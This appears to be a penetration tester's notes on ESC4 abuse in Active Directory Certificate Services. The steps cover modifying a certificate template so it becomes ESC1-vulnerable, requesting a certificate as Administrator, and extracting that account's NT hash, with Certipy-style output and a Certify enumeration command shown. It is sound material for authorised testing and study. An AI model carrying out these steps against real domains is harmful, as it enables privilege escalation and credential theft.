ESC4 abuse is where a low privilege user possess permissions over a certificate template which could be used to make it vulnerable to other attacks such as ESC1 or ESC2. In theory, the templates could be modified to support any misconfiguration based attack but, the simplest would be to make it vulnerable to ESC1 and ESC2.
Requirements for attack path
Access to an account that has at least ONE of the following permissions over a template:
Owner
Write Owner Principals
Write Property Principals
Write DACL Principals
Changes required to a template to make it vulnerable to ESC1 attacks.
Disable manage approval
disable authorized signatures
enable the flag ENROLLEE_SUPPLIES_SUBJECT in mspki-certificate-name-flag.
Set the mspki-certificate-application-policy to be used for authentication, such as Any Purpose or Client Authentication.
[*] Saved old configuration for 'ESC4' to 'ESC4.json'
[*] Updating certificate template 'ESC4'
[*] Successfully updated 'ESC4'
This command will make the selected template vulnerable to ESC1 attacks. Below, shows the ESC4 vulnerable template after modification. We can see how now any authenticated user on the domain could abuse this for escalation.
We can then perform the ESC1 attack against the template and grab
For accuracy and to avoid certificate mismatch issues we should always aim to provide the -sid parameter which should be the value of the UPN we are targeting (administrator@security.local in the example below).
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 39
[*] Got certificate with UPN 'Administrator@security.local'
[*] Certificate object SID is 'S-1-5-21-13999771-2333344039-1820745628-500'
[*] Saved certificate and private key to 'cert.pfx'
Then use the generated pfx (cert.pfx) to grab the NTLM hash for the account.
[*] Using principal: administrator@security.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@security.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
Ensure to restore the original template configuration once this attack has been achieved.
These notes for Windows do not discuss restoring the altered configuration. Whilst the practice below is valid for CTF and lab envrionments, do not perform the actions below on a real engagement without first checking with the client that they have backed up the template to be modified.
It is preffered to use Certipy if on an engagement in order to restore the old configuration.
Note to self, it should be in theory possible to create a backup JSON or XML file of a certificate templates configuration and restore with ADSI. Should look into completing this and adding these notes to this section.
Enumeration
Certify is not able to discern vulnerable certificate templates via its 'find /vulnerable' module for ESC4 and requires manual identification.
.\Certify.exe find
Performing the attackE
The following modifications require to be complete. The example below uses PowerView.